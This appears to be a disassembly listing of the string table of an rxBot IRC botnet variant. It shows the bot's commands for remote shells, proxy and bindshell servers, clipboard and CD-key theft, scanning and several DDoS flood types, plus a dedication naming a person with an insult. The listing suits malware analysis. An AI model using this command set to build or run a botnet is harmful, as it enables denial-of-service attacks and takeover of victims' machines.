a353 db '353',0 ; DATA XREF: sub_401CC1+569o
unk_4416B0 db 2Dh ; - ; DATA XREF: sub_401CC1+59Ao
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aJoinedChannelS db 'Joined channel: %s.',0
aPrivmsg db 'PRIVMSG',0 ; DATA XREF: sub_401CC1+60Do
aNotice db 'NOTICE',0 ; DATA XREF: sub_401CC1+61Eo
align 10h
a332 db '332',0 ; DATA XREF: sub_401CC1+62Fo
aPrivmsg_0 db 'PRIVMSG',0 ; DATA XREF: sub_401CC1+650o
aNotice_0 db 'NOTICE',0 ; DATA XREF: sub_401CC1+665o
align 4
aNotice_1 db 'NOTICE',0 ; DATA XREF: sub_401CC1+75Ao
align 4
asc_4416FC: ; DATA XREF: sub_401CC1+77Fo
unicode 0, <#>,0
dword_441700 dd 52455601h, 4E4F4953h, 1 ; DATA XREF: sub_401CC1+807o
dword_44170C dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h
; DATA XREF: sub_401CC1+832o
dd 0D017325h, 0Ah
dword_441728 dd 4E495001h, 47h ; DATA XREF: sub_401CC1+83Do
dword_441730 dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h
; DATA XREF: sub_401CC1+86Eo
dd 0A0Dh
aLogin db 'login',0 ; DATA XREF: sub_401CC1+6C2o
align 10h
aHi db 'hi',0 ; DATA XREF: sub_401CC1+6D7o
align 4
asc_441754: ; DATA XREF: sub_401CC1+7006o
unicode 0, <!>,0
asc_441758: ; DATA XREF: sub_401CC1+7024o
unicode 0, <~>,0
aNoticeSPassAut db 'NOTICE %s :Pass auth failed (%s!%s).',0Dh,0Ah,0
; DATA XREF: sub_401CC1+7054o
align 4
aNoticeSYourAtt db 'NOTICE %s :Your attempt has been logged.',0Dh,0Ah,0
; DATA XREF: sub_401CC1+7068o
align 10h
unk_4417B0 db 2Dh ; - ; DATA XREF: sub_401CC1+7077o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedPassAuth db '*Failed pass auth by: (%s!%s).',0
align 4
aNoticeSHostAut db 'NOTICE %s :Host Auth failed (%s!%s).',0Dh,0Ah,0
; DATA XREF: sub_401CC1+70C4o
align 4
aNoticeSYourA_0 db 'NOTICE %s :Your attempt has been logged.',0Dh,0Ah,0
; DATA XREF: sub_401CC1+70D8o
align 10h
unk_441830 db 2Dh ; - ; DATA XREF: sub_401CC1+70E7o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedHostAuth db '*Failed host auth by: (%s!%s).',0
align 4
unk_44185C db 2Dh ; - ; DATA XREF: sub_401CC1+7145o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aPasswordAccept db 'Password accepted.',0
align 4
unk_44187C db 2Dh ; - ; DATA XREF: sub_401CC1+7162o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aUserSLoggedIn_ db 'User: %s logged in.',0
a332_3 db '332',0 ; DATA XREF: sub_401CC1+6F9o
asc_4418A0 db ' :',0 ; DATA XREF: sub_401CC1:loc_402539o
align 4
aD_0 db '$%d-',0 ; DATA XREF: sub_401CC1+8D9o
align 4
aD_1 db '$%d',0 ; DATA XREF: sub_401CC1+99Do
aMe db '$me',0 ; DATA XREF: sub_401CC1+A0Bo
aUser_6 db '$user',0 ; DATA XREF: sub_401CC1+A1Do
align 4
aChan db '$chan',0 ; DATA XREF: sub_401CC1+A2Eo
align 4
aRndnick_0 db '$rndnick',0 ; DATA XREF: sub_401CC1+A4Ao
align 10h
aServer_8 db '$server',0 ; DATA XREF: sub_401CC1+A5Bo
aChr db '$chr(',0 ; DATA XREF: sub_401CC1+A66o
align 10h
aChr_0 db '$chr(',0 ; DATA XREF: sub_401CC1+A7Fo
align 4
asc_4418E8: ; DATA XREF: sub_401CC1+AA7o
unicode 0, <)>,0
a63 db '63',0 ; DATA XREF: sub_401CC1+ACFo
align 10h
asc_4418F0: ; DATA XREF: sub_401CC1+BA7o
unicode 0, < >,0
asc_4418F4: ; DATA XREF: sub_401CC1:loc_402889o
unicode 0, < >,0
aRndnick db 'rndnick',0 ; DATA XREF: sub_401CC1+C02o
aRn db 'rn',0 ; DATA XREF: sub_401CC1+C1Ao
align 4
aNickS_7 db 'NICK %s',0Dh,0Ah,0 ; DATA XREF: sub_401CC1+6FBFo
align 10h
unk_441910 db 2Dh ; - ; DATA XREF: sub_401CC1+6FD3o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aRandomNickChan db 'Random nick change: %s',0
align 4
aDie db 'die',0 ; DATA XREF: sub_401CC1+C2Fo
aD_2: ; DATA XREF: sub_401CC1+C44o
unicode 0, <d>,0
a332_4 db '332',0 ; DATA XREF: sub_401CC1+297Do
aLogout db 'logout',0 ; DATA XREF: sub_401CC1+C59o
align 4
aLo db 'lo',0 ; DATA XREF: sub_401CC1+C6Eo
align 4
unk_44194C db 2Dh ; - ; DATA XREF: sub_401CC1+290Ao
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aUserSLoggedO_1 db 'User %s logged out.',0
unk_44196C db 2Dh ; - ; DATA XREF: sub_401CC1+2920o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aNoUserLoggedIn db 'No user logged in at slot: %d.',0
align 4
unk_441998 db 2Dh ; - ; DATA XREF: sub_401CC1+292Bo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aInvalidLoginSl db 'Invalid login slot number: %d.',0
align 4
unk_4419C4 db 2Dh ; - ; DATA XREF: sub_401CC1+296Do
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aUserSLoggedO_2 db 'User %s logged out.',0
aDedication db 'dedication',0 ; DATA XREF: sub_401CC1+C83o
align 10h
aDed db 'ded',0 ; DATA XREF: sub_401CC1+C98o
unk_4419F4 db 2Dh ; - ; DATA XREF: sub_401CC1:loc_40458Co
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aThisModOfRxbot db 'This mod of rxBot is dedicated to Pia Gerhardt (nameless@efnet/ir'
db 'cnet), the Beautiful Operatress from Heaven (or Bitch Operatress '
db 'from Hell?) who I love so much.',0
align 4
aSpeedtest db 'speedtest',0 ; DATA XREF: sub_401CC1+CADo
align 10h
aSt db 'st',0 ; DATA XREF: sub_401CC1+CC2o
align 4
aBindshell db 'bindshell',0 ; DATA XREF: sub_401CC1+CD7o
align 10h
aBd db 'bd',0 ; DATA XREF: sub_401CC1+CECo
align 4
unk_441AC4 db 2Dh ; - ; DATA XREF: sub_401CC1+2824o
db 3, 34h, 2
db 62h ; b
db 69h, 6Eh, 64h
db 73h ; s
db 68h, 65h, 6Ch
db 6Ch ; l
db 2, 3, 2Dh
aServerStartedO db ' Server started on: %s:%d.',0
align 10h
unk_441AF0 db 2Dh ; - ; DATA XREF: sub_401CC1+28A8o
db 3, 34h, 2
db 62h ; b
db 69h, 6Eh, 64h
db 73h ; s
db 68h, 65h, 6Ch
db 6Ch ; l
db 2, 3, 2Dh
aFailedToStar_0 db ' Failed to start server thread, error: <%d>.',0
align 10h
aBindshellstop db 'bindshellstop',0 ; DATA XREF: sub_401CC1+D01o
align 10h
aServer_0 db 'Server',0 ; DATA XREF: sub_401CC1+D1Ao
align 4
dword_441B48 dd 234032Dh, 646E6962h, 6C656873h, 2D03026Ch, 0 ; DATA XREF: sub_401CC1+D1Fo
aSocks4 db 'socks4',0 ; DATA XREF: sub_401CC1+D41o
align 4
aS4 db 's4',0 ; DATA XREF: sub_401CC1+D56o
align 4
dword_441B68 dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_401CC1+2733o
aServerStarte_0 db '- Server started on: %s:%d.',0
dword_441B90 dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_401CC1+27A2o
aFailedToStar_1 db '- Failed to start server thread, error: <%d>.',0
align 4
aSocks4stop db 'socks4stop',0 ; DATA XREF: sub_401CC1+D6Bo
align 4
aServer_1 db 'Server',0 ; DATA XREF: sub_401CC1+D84o
align 10h
dword_441BE0 dd 234032Dh, 6B636F73h, 3023473h, 2Dh ; DATA XREF: sub_401CC1+D89o
aRloginstop db 'rloginstop',0 ; DATA XREF: sub_401CC1+D91o
align 4
aServer_2 db 'Server',0 ; DATA XREF: sub_401CC1+DAAo
align 4
dword_441C04 dd 234032Dh, 676F6C72h, 2646E69h, 2D03h ; DATA XREF: sub_401CC1+DAFo
aHttpstop db 'httpstop',0 ; DATA XREF: sub_401CC1+DBAo
align 10h
aServer_3 db 'Server',0 ; DATA XREF: sub_401CC1+DD3o
align 4
dword_441C28 dd 234032Dh, 70747468h, 2D030264h, 0 ; DATA XREF: sub_401CC1+DD8o
aLogstop db 'logstop',0 ; DATA XREF: sub_401CC1+DE3o
aLogList db 'Log list',0 ; DATA XREF: sub_401CC1+DFCo
align 4
dword_441C4C dd 234032Dh, 2676F6Ch, 2D03h ; DATA XREF: sub_401CC1+E01o
aRedirectstop db 'redirectstop',0 ; DATA XREF: sub_401CC1+E0Co
align 4
aTcpRedirect db 'TCP redirect',0 ; DATA XREF: sub_401CC1+E25o
align 4
dword_441C78 dd 234032Dh, 69646572h, 74636572h, 2D0302h ; DATA XREF: sub_401CC1+E2Ao
dword_441C88 dd 736F6464h, 6F74732Eh, 70h ; DATA XREF: sub_401CC1+E35o
dword_441C94 dd 536F4444h, 6F6C6620h, 646Fh ; DATA XREF: sub_401CC1+E4Eo
dword_441CA0 dd 234032Dh, 736F6464h, 2D0302h ; DATA XREF: sub_401CC1+E53o
aSynstop db 'synstop',0 ; DATA XREF: sub_401CC1+E5Eo
aSynFlood db 'Syn flood',0 ; DATA XREF: sub_401CC1+E77o
align 10h
dword_441CC0 dd 234032Dh, 26E7973h, 2D03h ; DATA XREF: sub_401CC1+E7Co
aSkysynstop db 'skysynstop',0 ; DATA XREF: sub_401CC1+E87o
align 4
aSkysynFlood db 'SkySyn flood',0 ; DATA XREF: sub_401CC1+EA0o
align 4
dword_441CE8 dd 234032Dh, 73796B73h, 3026E79h, 2Dh ; DATA XREF: sub_401CC1+EA5o
aTarga3stop db 'targa3stop',0 ; DATA XREF: sub_401CC1+EB0o
align 4
aTarga3Flood db 'Targa3 flood',0 ; DATA XREF: sub_401CC1+EC9o
align 4
dword_441D14 dd 234032Dh, 67726174h, 3023361h, 2Dh ; DATA XREF: sub_401CC1+ECEo
aWonkstop db 'wonkstop',0 ; DATA XREF: sub_401CC1+ED9o
align 10h
aWonkFlood db 'Wonk flood',0 ; DATA XREF: sub_401CC1+EF2o
align 4
dword_441D3C dd 234032Dh, 6B6E6F77h, 2D0302h ; DATA XREF: sub_401CC1+EF7o
aPacketstop db 'packetstop',0 ; DATA XREF: sub_401CC1+F02o
align 4
aDdosFlood db 'DDoS flood',0 ; DATA XREF: sub_401CC1+F26o
align 10h
dword_441D60 dd 234032Dh, 736F6464h, 2D0302h ; DATA XREF: sub_401CC1+F2Bo
dword_441D6C dd 206E7953h, 6F6F6C66h, 64h ; DATA XREF: sub_401CC1+F41o
dword_441D78 dd 234032Dh, 26E7973h, 2D03h ; DATA XREF: sub_401CC1+F46o
dword_441D84 dd 20504455h, 6F6F6C66h, 64h ; DATA XREF: sub_401CC1+F5Fo
dword_441D90 dd 234032Dh, 2706475h, 2D03h ; DATA XREF: sub_401CC1+F64o
dword_441D9C dd 676E6950h, 6F6C6620h, 646Fh ; DATA XREF: sub_401CC1+F7Ao
dword_441DA8 dd 234032Dh, 676E6970h, 2D0302h ; DATA XREF: sub_401CC1+F7Fo
dword_441DB4 dd 67726154h, 66203361h, 646F6F6Ch, 0 ; DATA XREF: sub_401CC1+F98o
dword_441DC4 dd 234032Dh, 67726174h, 3023361h, 2Dh ; DATA XREF: sub_401CC1+F9Do
dword_441DD4 dd 6B6E6F57h, 6F6C6620h, 646Fh ; DATA XREF: sub_401CC1+FB3o
dword_441DE0 dd 234032Dh, 6B6E6F77h, 2D0302h ; DATA XREF: sub_401CC1+FB8o
dword_441DEC dd 6E757354h, 20696D61h, 6F6F6C66h, 64h ; DATA XREF: sub_401CC1+FD1o
dword_441DFC dd 234032Dh, 6E757374h, 2696D61h, 2D03h ; DATA XREF: sub_401CC1+FD6o
dword_441E0C dd 64736957h, 61206D6Fh, 63617474h, 6Bh ; DATA XREF: sub_401CC1+FECo
dword_441E1C dd 234032Dh, 64736977h, 3026D6Fh, 2Dh ; DATA XREF: sub_401CC1+FF1o
dword_441E2C dd 53796B53h, 66206E79h, 646F6F6Ch, 0 ; DATA XREF: sub_401CC1+100Ao
dword_441E3C dd 234032Dh, 73796B73h, 3026E79h, 2Dh ; DATA XREF: sub_401CC1+100Fo
unk_441E4C db 2Dh ; - ; DATA XREF: sub_401CC1+1026o
db 3, 34h, 2
db 64h ; d
db 64h, 6Fh, 73h
db 2
db 3, 2Dh, 20h
aAllPacketingAc db 'All packeting activity has been halted.',0
aTsunamistop db 'tsunamistop',0 ; DATA XREF: sub_401CC1+103Do
aTsunamiFlood db 'Tsunami flood',0 ; DATA XREF: sub_401CC1+1056o
align 4
dword_441E9C dd 234032Dh, 6E757374h, 2696D61h, 2D03h ; DATA XREF: sub_401CC1+105Bo
aWisdomstop db 'wisdomstop',0 ; DATA XREF: sub_401CC1+1066o
align 4
aWisdomAttack db 'Wisdom attack',0 ; DATA XREF: sub_401CC1+107Fo
align 4
dword_441EC8 dd 234032Dh, 64736977h, 3026D6Fh, 2Dh ; DATA XREF: sub_401CC1+1084o
aUdpstop db 'udpstop',0 ; DATA XREF: sub_401CC1+108Fo
aUdpFlood db 'UDP flood',0 ; DATA XREF: sub_401CC1+10A8o
align 4
dword_441EEC dd 234032Dh, 2706475h, 2D03h ; DATA XREF: sub_401CC1+10ADo
aPingstop db 'pingstop',0 ; DATA XREF: sub_401CC1+10B8o
align 4
aPingFlood db 'Ping flood',0 ; DATA XREF: sub_401CC1+10D1o
align 10h
dword_441F10 dd 234032Dh, 676E6970h, 2D0302h ; DATA XREF: sub_401CC1+10D6o
aTftpstop db 'tftpstop',0 ; DATA XREF: sub_401CC1+10E1o
align 4
aServer_4 db 'Server',0 ; DATA XREF: sub_401CC1+10FAo
align 10h
dword_441F30 dd 234032Dh, 70746674h, 2D030264h, 0 ; DATA XREF: sub_401CC1+10FFo
aProcsstop db 'procsstop',0 ; DATA XREF: sub_401CC1+110Ao
align 4
aPsstop db 'psstop',0 ; DATA XREF: sub_401CC1+111Fo
align 4
aProcessList db 'Process list',0 ; DATA XREF: sub_401CC1+267Bo
align 4
dword_441F64 dd 234032Dh, 636F7270h, 2D030273h, 0 ; DATA XREF: sub_401CC1+2680o
aClonestop db 'clonestop',0 ; DATA XREF: sub_401CC1+1134o
align 10h
aClone db 'Clone',0 ; DATA XREF: sub_401CC1+114Do
align 4
dword_441F88 dd 234032Dh, 6E6F6C63h, 3027365h, 2Dh ; DATA XREF: sub_401CC1+1152o
aSecurestop db 'securestop',0 ; DATA XREF: sub_401CC1+115Do
align 4
aSecure db 'Secure',0 ; DATA XREF: sub_401CC1+1176o
align 4
dword_441FAC dd 234032Dh, 75636573h, 3026572h, 2Dh ; DATA XREF: sub_401CC1+117Bo
aScanstop db 'scanstop',0 ; DATA XREF: sub_401CC1+1186o
align 4
aScan_0 db 'Scan',0 ; DATA XREF: sub_401CC1+119Fo
align 10h
dword_441FD0 dd 234032Dh, 6E616373h, 2D0302h ; DATA XREF: sub_401CC1+11A4o
aScanstats db 'scanstats',0 ; DATA XREF: sub_401CC1+11AFo
align 4
aStats db 'stats',0 ; DATA XREF: sub_401CC1+11C4o
align 10h
aTransferstats db 'transferstats',0 ; DATA XREF: sub_401CC1+11D9o
align 10h
aTrstats db 'trstats',0 ; DATA XREF: sub_401CC1+11EEo
aConnectbacksta db 'connectbackstats',0 ; DATA XREF: sub_401CC1+1203o
align 4
aCbstats db 'cbstats',0 ; DATA XREF: sub_401CC1+1218o
aExploitlist db 'exploitlist',0 ; DATA XREF: sub_401CC1+122Do
aExplist db 'explist',0 ; DATA XREF: sub_401CC1+1242o
aReconnect db 'reconnect',0 ; DATA XREF: sub_401CC1+1257o
align 4
aR: ; DATA XREF: sub_401CC1+126Co
unicode 0, <r>,0
aQuitReconnecti db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401CC1:loc_4042BCo
align 10h
dword_442060 dd 234032Dh, 6E69616Dh, 202D0302h, 6F636552h, 63656E6Eh
; DATA XREF: sub_401CC1+2608o
dd 676E6974h, 2Eh
aDisconnect db 'disconnect',0 ; DATA XREF: sub_401CC1+1281o
align 4
aDc db 'dc',0 ; DATA XREF: sub_401CC1+1296o
align 4
aQuitDisconnect db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401CC1:loc_40429Ao
align 4
dword_4420A4 dd 234032Dh, 6E69616Dh, 202D0302h, 63736944h, 656E6E6Fh
; DATA XREF: sub_401CC1+25E6o
dd 6E697463h, 2E67h
aQuit_0 db 'quit',0 ; DATA XREF: sub_401CC1+12ABo
align 4
aQ: ; DATA XREF: sub_401CC1+12C0o
unicode 0, <q>,0
aQuitS db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_401CC1+25B1o
align 4
aQuitLater db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_401CC1:loc_404284o
align 4
aStatus db 'status',0 ; DATA XREF: sub_401CC1+12D5o
align 10h
aS: ; DATA XREF: sub_401CC1+12EAo
unicode 0, <s>,0
unk_4420F4 db 2Dh ; - ; DATA XREF: sub_401CC1+2565o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aStatusReady_Bo db 'Status: Ready. Bot Uptime: %s.',0
align 10h
aId db 'id',0 ; DATA XREF: sub_401CC1+12FFo
align 4
aI_1: ; DATA XREF: sub_401CC1+1314o
unicode 0, <i>,0
dword_442128 dd 234032Dh, 6E69616Dh, 202D0302h, 20746F42h, 203A4449h
; DATA XREF: sub_401CC1+2527o
dd 2E7325h
aReboot db 'reboot',0 ; DATA XREF: sub_401CC1+1329o
align 4
unk_442148 db 2Dh ; - ; DATA XREF: sub_401CC1+1340o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aRebootingSyste db 'Rebooting system.',0
align 4
unk_442168 db 2Dh ; - ; DATA XREF: sub_401CC1+1347o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedToReboot db 'Failed to reboot system.',0
align 10h
aThreads db 'threads',0 ; DATA XREF: sub_401CC1+137Bo
aT: ; DATA XREF: sub_401CC1+1390o
unicode 0, <t>,0
aSub db 'sub',0 ; DATA XREF: sub_401CC1+246Eo
dword_4421A0 dd 234032Dh, 65726874h, 2736461h, 4C202D03h, 20747369h
; DATA XREF: sub_401CC1+2494o
dd 65726874h, 2E736461h, 0
unk_4421C0 db 2Dh ; - ; DATA XREF: sub_401CC1+2509o
db 3, 34h, 2
db 74h ; t
db 68h, 72h, 65h
db 61h ; a
db 64h, 73h, 2
db 3
aFailedToStartL db '- Failed to start list thread, error: <%d>.',0
align 4
aAliases db 'aliases',0 ; DATA XREF: sub_401CC1+13A5o
aAl db 'al',0 ; DATA XREF: sub_401CC1+13BAo
align 4
dword_442208 dd 234032Dh, 6E69616Dh, 202D0302h, 61696C41h, 696C2073h
; DATA XREF: sub_401CC1+241Co
dd 2E7473h
aLo0g db 'lo0g',0 ; DATA XREF: sub_401CC1+13CFo
align 4
aL0g db 'l0g',0 ; DATA XREF: sub_401CC1+13E4o
aS_0 db '%s',0 ; DATA XREF: sub_401CC1+2341o
align 10h
dword_442230 dd 234032Dh, 2676F6Ch, 4C202D03h, 69747369h, 6C20676Eh
; DATA XREF: sub_401CC1+2374o
dd 2E676Fh
unk_442248 db 2Dh ; - ; DATA XREF: sub_401CC1+2401o
db 3, 34h, 2
db 6Ch ; l
db 6Fh, 67h, 2
db 3
aFailedToStar_2 db '- Failed to start listing thread, error: <%d>.',0
aClearlog db 'clearlog',0 ; DATA XREF: sub_401CC1+13F9o
align 4
aClg db 'clg',0 ; DATA XREF: sub_401CC1+140Eo
aNetinfo db 'netinfo',0 ; DATA XREF: sub_401CC1+1423o
aNi db 'ni',0 ; DATA XREF: sub_401CC1+1438o
align 4
dword_44229C dd 234032Dh, 6E69616Dh, 202D0302h, 7774654Eh, 206B726Fh
; DATA XREF: sub_401CC1+22F0o
dd 6F666E49h, 2Eh
aSysinfo db 'sysinfo',0 ; DATA XREF: sub_401CC1+144Do
aSi db 'si',0 ; DATA XREF: sub_401CC1+1462o
align 4
dword_4422C4 dd 234032Dh, 6E69616Dh, 202D0302h, 74737953h, 49206D65h
; DATA XREF: sub_401CC1+22C1o
dd 2E6F666Eh, 0
aRemov10e db 'remov10e',0 ; DATA XREF: sub_401CC1+1477o
align 4
aR010m db 'r010m',0 ; DATA XREF: sub_401CC1+148Co
align 4
dword_4422F4 dd 234032Dh, 6E69616Dh, 202D0302h, 6F6D6552h, 676E6976h
; DATA XREF: sub_401CC1+226Co
dd 746F4220h, 2Eh
aProcs db 'procs',0 ; DATA XREF: sub_401CC1+14A1o
align 4
aPs db 'ps',0 ; DATA XREF: sub_401CC1+14B6o
align 4
unk_44231C db 2Dh ; - ; DATA XREF: sub_401CC1+2159o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aAlreadyRunning db ' Already running.',0
align 4
aFull db 'full',0 ; DATA XREF: sub_401CC1+21BBo
align 4
dword_442344 dd 234032Dh, 636F7270h, 2D030273h, 6F725020h, 73656363h
; DATA XREF: sub_401CC1+21DBo
dd 696C2073h, 2E7473h
unk_442360 db 2Dh ; - ; DATA XREF: sub_401CC1+2250o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aFailedToStar_3 db ' Failed to start listing thread, error: <%d>.',0
align 4
aGetcdkeys db 'getcdkeys',0 ; DATA XREF: sub_401CC1+14CBo
align 4
aKey db 'key',0 ; DATA XREF: sub_401CC1+14E0o
dword_4423AC dd 234032Dh, 656B6463h, 3027379h ; DATA XREF: sub_401CC1+2130o
aSearchComplete db '- Search completed.',0
aUptime db 'uptime',0 ; DATA XREF: sub_401CC1+14F5o
align 4
aUp db 'up',0 ; DATA XREF: sub_401CC1+150Ao
align 4
dword_4423D8 dd 234032Dh, 6E69616Dh, 202D0302h, 69747055h, 203A656Dh
; DATA XREF: sub_401CC1+20E1o
dd 2E7325h
aDriveinfo db 'driveinfo',0 ; DATA XREF: sub_401CC1+151Fo
align 4
aDrv db 'drv',0 ; DATA XREF: sub_401CC1+1534o
aTestdlls db 'testdlls',0 ; DATA XREF: sub_401CC1+1549o
align 4
aDll db 'dll',0 ; DATA XREF: sub_401CC1+155Eo
aOpencmd db 'opencmd',0 ; DATA XREF: sub_401CC1+1573o
aOcmd db 'ocmd',0 ; DATA XREF: sub_401CC1+1588o
align 10h
unk_442420 db 2Dh ; - ; DATA XREF: sub_401CC1+2029o
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aRemoteShellAlr db '- Remote shell already running.',0
align 4
unk_44244C db 2Dh ; - ; DATA XREF: sub_401CC1+2048o
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aCouldnTOpenRem db '- Couldn',27h,'t open remote shell.',0
align 4
unk_442474 db 2Dh ; - ; DATA XREF: sub_401CC1:loc_403D13o
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aRemoteShellRea db '- Remote shell ready.',0
align 4
aCmdstop db 'cmdstop',0 ; DATA XREF: sub_401CC1+159Do
aRemoteShell db 'Remote shell',0 ; DATA XREF: sub_401CC1+15B6o
align 4
dword_4424AC dd 234032Dh, 2646D63h, 2D03h ; DATA XREF: sub_401CC1+15BBo
dword_4424B8 dd 6F6877h ; DATA XREF: sub_401CC1+15C6o
dword_4424BC dd 234032Dh, 69676F6Ch, 696C206Eh, 3027473h, 2Dh
; DATA XREF: sub_401CC1+15E3o
dword_4424D0 dd 706D453Ch, 3E7974h ; DATA XREF: sub_401CC1:loc_4032CEo
dword_4424D8 dd 202E6425h, 7325h ; DATA XREF: sub_401CC1+161Ao
unk_4424E0 db 2Dh ; - ; DATA XREF: sub_401CC1+164Fo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aLoginListCompl db 'Login list complete.',0
align 4
aGetclip db 'getclip',0 ; DATA XREF: sub_401CC1+16DCo
aGc db 'gc',0 ; DATA XREF: sub_401CC1+16F1o
align 10h
dword_442510 dd 234032Dh, 70696C63h, 72616F62h, 61642064h, 3026174h
; DATA XREF: sub_401CC1+1FE5o
dd 2Dh
dword_442528 dd 234032Dh, 6E69616Dh, 202D0302h, 20746547h, 70696C43h
; DATA XREF: sub_401CC1+2013o
dd 72616F62h, 2E64h
aFlusharp db 'flusharp',0 ; DATA XREF: sub_401CC1+1706o
align 10h
aFarp db 'farp',0 ; DATA XREF: sub_401CC1+171Bo
align 4
unk_442558 db 2Dh ; - ; DATA XREF: sub_401CC1+1FBAo
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aArpCacheFlushe db 'ARP cache flushed.',0
align 4
unk_44257C db 2Dh ; - ; DATA XREF: sub_401CC1:loc_403C82o
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aFailedToFlushA db 'Failed to flush ARP cache.',0
align 4
aFlushdns db 'flushdns',0 ; DATA XREF: sub_401CC1+1730o
align 4
aFdns db 'fdns',0 ; DATA XREF: sub_401CC1+1745o
align 4
unk_4425BC db 2Dh ; - ; DATA XREF: sub_401CC1+1F9Co
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aDnsCacheFlushe db 'DNS cache flushed.',0
align 10h
unk_4425E0 db 2Dh ; - ; DATA XREF: sub_401CC1:loc_403C64o
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aFailedToFlushD db 'Failed to flush DNS cache.',0
align 4
unk_44260C db 2Dh ; - ; DATA XREF: sub_401CC1:loc_403C6Bo
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aFailedToLoadDn db 'Failed to load dnsapi.dll.',0
align 4
aCurrentip db 'currentip',0 ; DATA XREF: sub_401CC1+175Ao
align 4
aCip db 'cip',0 ; DATA XREF: sub_401CC1+176Fo
aRloginserver db 'rloginserver',0 ; DATA XREF: sub_401CC1+1784o
align 4
aRlogin db 'rlogin',0 ; DATA XREF: sub_401CC1+1799o
align 10h
unk_442660 db 2Dh ; - ; DATA XREF: sub_401CC1+1EDAo
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aServerListenin db '- Server listening on IP: %s:%d, Username: %s.',0
unk_44269C db 2Dh ; - ; DATA XREF: sub_401CC1+1F49o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToStar_4 db '- Failed to start server thread, error: <%d>.',0
align 4
aHttpserver db 'httpserver',0 ; DATA XREF: sub_401CC1+17AEo
align 4
aHttp db 'http',0 ; DATA XREF: sub_401CC1+17C3o
align 4
unk_4426EC db 2Dh ; - ; DATA XREF: sub_401CC1+1D8Co
db 3, 34h, 2
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2, 3, 2Dh
aServerListen_0 db ' Server listening on IP: %s:%d, Directory: %s\.',0
unk_442728 db 2Dh ; - ; DATA XREF: sub_401CC1+1DF7o
db 3, 34h, 2
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2, 3, 2Dh
aFailedToStar_5 db ' Failed to start server thread, error: <%d>.',0
align 4
aTftpserver db 'tftpserver',0 ; DATA XREF: sub_401CC1+17D8o
align 10h
aTftp db 'tftp',0 ; DATA XREF: sub_401CC1+17EDo
align 4
unk_442778 db 2Dh ; - ; DATA XREF: sub_401CC1+1B64o
db 3, 34h, 2
db 74h ; t
db 66h, 74h, 70h
db 64h ; d
db 2, 3, 2Dh
aAlreadyRunni_0 db ' Already running.',0
align 4
unk_442798 db 2Dh ; - ; DATA XREF: sub_401CC1+1C16o
db 3, 34h, 2
db 74h ; t
db 66h, 74h, 70h
db 64h ; d
db 2, 3, 2Dh
aServerStarte_1 db ' Server started on Port: %d, File: %s.',0
align 4
unk_4427CC db 2Dh ; - ; DATA XREF: sub_401CC1+1C85o
db 3, 34h, 2
db 74h ; t
db 66h, 74h, 70h
db 64h ; d
db 2, 3, 2Dh
aFailedToStar_6 db ' Failed to start server thread, error: <%d>.',0
align 4
aScanall db 'scanall',0 ; DATA XREF: sub_401CC1+1802o
